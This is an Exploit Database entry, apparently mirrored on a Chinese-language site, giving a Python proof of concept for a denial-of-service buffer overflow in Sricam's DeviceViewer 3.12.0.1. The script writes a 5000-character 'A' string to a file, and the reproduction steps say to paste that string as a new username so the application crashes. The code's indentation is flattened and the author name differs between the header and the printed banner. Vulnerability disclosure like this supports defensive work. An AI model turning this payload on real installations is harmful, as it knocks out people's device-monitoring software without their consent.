DeviceViewer 3.12.0.1 – ‘creating user’ Denial of Service

• Exploit Database
• 14 阅读

• 作者： x00pwn
  日期： 2019-09-24
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/47410/

• #!/usr/bin/python
  
  # Exploit Title: DeviceViewer 3.12.0.1 - 'creating user' DOS buffer overflow
  # Date: 9/23/2019
  # Exploit Author: x00pwn
  # Vendor Homepage: http://www.sricam.com/
  # Software Link: http://download.sricam.com/Manual/DeviceViewer.exe
  # Version: v3.12.0.1
  # Tested on: Windows 7
  
  # Steps to reproduce:
  # 1. Generate a malicious payload via the POC
  # 2. In the Sricam application create a new user
  # 3. When creating a new user, set the username as the malicious payload
  # 4. Observe a program DOScrash
  
  payload = "A" * 5000
  
  try:
  evilCreate =open("exploit.txt","w")
  print("""
  DeviceViewer 3.12.0.1 DOS exploit POC
  Author: Nu11pwn
  """)
  print("[x] Creating malicious file")
  evilCreate.write(payload)
  evilCreate.close()
  print("[x] Malicious file create")
  print("[x] When creating a new user, set the username to the file contents")
  print("[x] Watch the program crash")
  except:
  print("[!] File failed to be created")